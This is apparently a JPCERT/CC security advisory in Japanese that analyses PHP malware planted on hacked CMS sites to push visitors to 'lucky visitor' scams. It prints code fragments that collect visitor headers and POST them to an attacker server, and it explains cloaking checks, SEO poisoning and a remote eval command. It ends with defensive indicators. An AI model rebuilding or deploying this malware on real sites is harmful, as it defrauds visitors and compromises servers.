ラッキービジター詐欺で使用されるPHPマルウェア
JPCERT/CCでは、国内のWebサイトが改ざん被害を受け、不正なページが設置される事例を継続して観測しています。これらの事例では、不正に設置されたPHPスクリプト(以下、PHPマルウェア)により、ページにアクセスした訪問者が詐欺サイトや不審な商品販売サイトなどに誘導されることがわかっています。
今回は、複数の調査事例から得られた知見をもとに、国内のWebサイト改ざんで頻繁に見られているPHPマルウェアの詳細について紹介します。
被害事例
PHPマルウェアが設置されたWebサイトでは、アクセスした訪問者を詐欺サイトや不審な商品販売サイトなどに転送する不正なWebページが多数サーバー上に作成されます。図1は、ページにアクセスした際に表示されるラッキービジター詐欺サイトの例です。
攻撃者は、コンテンツマネジメントシステム(以下、CMS)の脆弱性を悪用して、PHPマルウェアをサーバー上にアップロードしていることを確認しています。
機能
PHPマルウェアには、大きく以下の2つの機能があります。
- アクセスした訪問者を不審なWebサイトに転送
- 攻撃者から受け取ったコマンドを実行
以降では、それぞれの機能について詳細を紹介します。
不審なWebサイトへの転送
PHPマルウェアには、設置したページにアクセスした訪問者を不審なサイトに転送する機能があります。図2は、ページにアクセスすることで発生する転送までの流れです。
まず、訪問者が改ざんされたWebサイトのページにアクセスすると、PHPマルウェアはHTTPリクエストの以下の情報を確認し、転送の対象かどうかをチェックします。
- UserAgentがクローラーやボットで使われている値でない
- Referrerヘッダーにgoogle、yahoo、bing、yandexのいずれかの文字列が含まれる
- Accept-Languageヘッダーが存在する
- URLパス内に固有の識別子が含まれる
固有の識別子は、PHPマルウェア内に記載されているUIDと呼ばれる文字列をもとに生成される値です。UIDに文字列”salt3”を追加した文字列からMD5のハッシュ値を計算し、ハッシュ値の先頭6文字が識別子として利用されます。以下は、識別子の算出例です。
[UID例] fb06bc98-576a-d5df-2195-a4b0a64bec44 [算出方法] fb06bc98-576a-d5df-2195-a4b0a64bec44salt3 → (MD5) fc858f544449f056656558c92ba485b0
上記条件をすべて満たした場合、PHPマルウェアは訪問者の各種情報をスクリプト内に記載されている攻撃者サーバーに送信します。以下は、送信されるHTTP POSTリクエストの例です。
POST /app/assets/api2?action=redir HTTP/1.0 Host: [IPアドレス] Connection: close Content-Length: [サイズ] Content-type: application/x-www-form-urlencoded ip=127.0.0.1&qs=example.com/sample.php?fc858f=test&ua=Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0&lang=en-US,en;q=0.5&ref=https://www.google.com/&enc=gzip, deflate&acp=text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8&char=iso-8859-1&conn=close&cfconn=127.0.0.1&xreal=127.0.0.1&xforward=127.0.0.1&uid=fb06bc98-576a-d5df-2195-a4b0a64bec44
送信される訪問者の情報はHTTPヘッダーから取得されます。
$client_info['ip'] = $_SERVER['REMOTE_ADDR']; $client_info['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI']; $client_info['ua'] = @$_SERVER['HTTP_USER_AGENT']; $client_info['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE']; $client_info['ref'] = @$_SERVER['HTTP_REFERER']; $client_info['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING']; $client_info['acp'] = @$_SERVER['HTTP_ACCEPT']; $client_info['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET']; $client_info['conn'] = @$_SERVER['HTTP_CONNECTION']; $client_info['cfconn'] = @$_SERVER['HTTP_CF_CONNECTING_IP']; $client_info['xreal'] = @$_SERVER['HTTP_X_REAL_IP']; $client_info['xforward'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];
次に攻撃者サーバーは、受け取った訪問者の情報をもとに転送の対象かどうかのチェックを行います。条件を満たしている場合、リダイレクト先のURLがレスポンスとして返されます。以下は、攻撃者サーバーからのレスポンスの例です。
a:2:{s:4:"type";s:5:"redir";s:4:"data";a:1:{s:4:"code";s:524:"<html> <head> <META http-equiv="refresh" content="1;URL=[リダイレクト先URL]"> <script> window.location = "[リダイレクト先URL]"; </script> </head> <body> To the new location please <a href="[リダイレクト先URL]"><b>click here.</b></a> </body> </html>";}}
なお、条件を満たさない場合、リダイレクト先URLが返されないため、転送処理は発生しません。具体的には訪問者のIPアドレスがチェックされており、同じIPアドレスから複数回アクセスがあった場合、2回目以降はリダイレクト先URLが返されないため、不正なページへの初回アクセス時のみ転送が発生するようになっています。
最終的に、PHPマルウェアはLocationヘッダー、もしくはMETAタグやJavaScriptのコードを使用して、受け取ったURL宛に訪問者を転送します。
また、訪問者が転送条件を満たさなかった場合、PHPマルウェアは改ざんされたWebサイト上に保存されているテンプレートのHTMLファイルを使って、無害なページを作成、表示します。図3は、テンプレートのHTMLファイルの例です。
テンプレートのHTMLファイルの{{ text }}
部分には、正規サイトから盗用した文章が使用されています。また、{{ links }}
部分には大量のキーワードが埋め込まれており、不正に設置したページが検索エンジンの検索結果の上位に表示されるように、SEOポイズニングの細工が行われています。図4は、最終的に表示される無害なページの例です。
コマンド実行機能
PHPマルウェアには、訪問者を転送する以外に、攻撃者が外部から利用できるさまざまなコマンドが用意されています。以下は、PHPマルウェア内で定義されているコマンドの一覧です(各コマンドの詳細についてはAppendix Aをご覧ください)。
- check
- templates
- keywords
- update_sitemap
- pages
- ping
- robots
- eval
上記コマンドを利用することで、外部からサーバーに不正なページを設置したり、sitemap.xmlやrobots.txtを更新したり、evalコマンドで外部から任意のコードを実行することが可能です。コマンドはHTTP POSTリクエスト、もしくはCookieヘッダーを使って送信され、XORとBASE64を組み合わせてエンコード処理が行われています。
痕跡調査
今回のPHPマルウェアが使用された事例では、改ざんされたWebサイト上に大量の不正なページが設置されます。また、PHPマルウェア経由で設置されたファイル名には、以下のような特徴があります。
- [ランダム な16進数2桁]_[ ランダム な16進数16桁].html
- [ランダム な16進数2桁]_[ ランダム な16進数16桁].list
- [“cache”フォルダ] / [ランダム な16進数16桁]
そのため、上記と同じ特徴を持つ不審なファイルがWebサイト上に存在しないかをご確認ください。また、sitemap.xmlに大量の不正なページのURLが追加されるため、同様に見覚えのないURLが登録されていないかをご確認ください。また、先に紹介したとおり、PHPマルウェアはリダイレクト先URLを取得するために攻撃者サーバーとの通信を行います。今回解説したPHPマルウェアのハッシュ値をAppendix B、通信先をAppendix Cに記載していますので、通信が発生していないかをご確認ください。
おわりに
今回紹介したPHPマルウェアを利用するWebサイトの改ざん被害は、国内だけでなく海外のサイトでも継続的に確認されています。JPCERT/CCで観測している事例では、CMSの脆弱性を悪用して、PHPマルウェアが不正に設置されていました。そのため、利用するCMSやプラグインなどは常に最新版にアップデートを実施することをお勧めします。また、改ざん被害を受けているWebサイトの情報をお持ちでしたら、JPCERT/CC Webサイトの「インシデント対応依頼」にご連絡ください。
インシデント対応依頼
https://www.jpcert.or.jp/form/
(2021.7.1 追記)
不正サイトへのリダイレクトに悪用されるドメインをGitHubで公開しました。
新しい不正ドメインが観測された際は、こちらに掲載されますので、ご活用ください。
https://github.com/JPCERTCC/Lucky-Visitor-Scam-IoC
インシデントレスポンスグループ 喜野 孝太
Appendix A コマンド一覧
コマンド名 |
内容 |
---|---|
check | サーバー上に保存されている各種ファイルの件数を表示 |
templates | テンプレート用の.htmlファイルを作成 |
keywords | キーワード用の.lstファイルを作成 |
update_sitemap | sitemap.xmlの更新 |
pages | 新規ページ作成 |
ping | googleとbingにsitemap.xmlのURLを送信 |
robots | robots.txtを作成 |
eval | PHPコードの実行 |
Appendix B 検体のSHA-256ハッシュ値
- (ver5.2) 13a9f50160d8bb8a5799c8850262cf4ae46a854b1b262918d188bb17c24b14c7
- (ver5.0) 38c4a4dfc8e3d22ab3ad2e19eb84d116d01963ba6cb75d7f797f0b4b4724667f
- (ver4.5) dcd5786762ed09b4f681b07a9aa5cf4f6940f25616478a1ab9b4f848e97690ef
- (ver4.3) 24fb03d10be05931fad3df6c8d0c8c2763dfd9d8e0e3de00fa484cbf2892eef7
Appendix C 通信先
- 5.9.34.13
- 5.9.146.0
- 5.9.235.245
- 144.76.47.168
- 178.63.30.30
- 178.63.30.186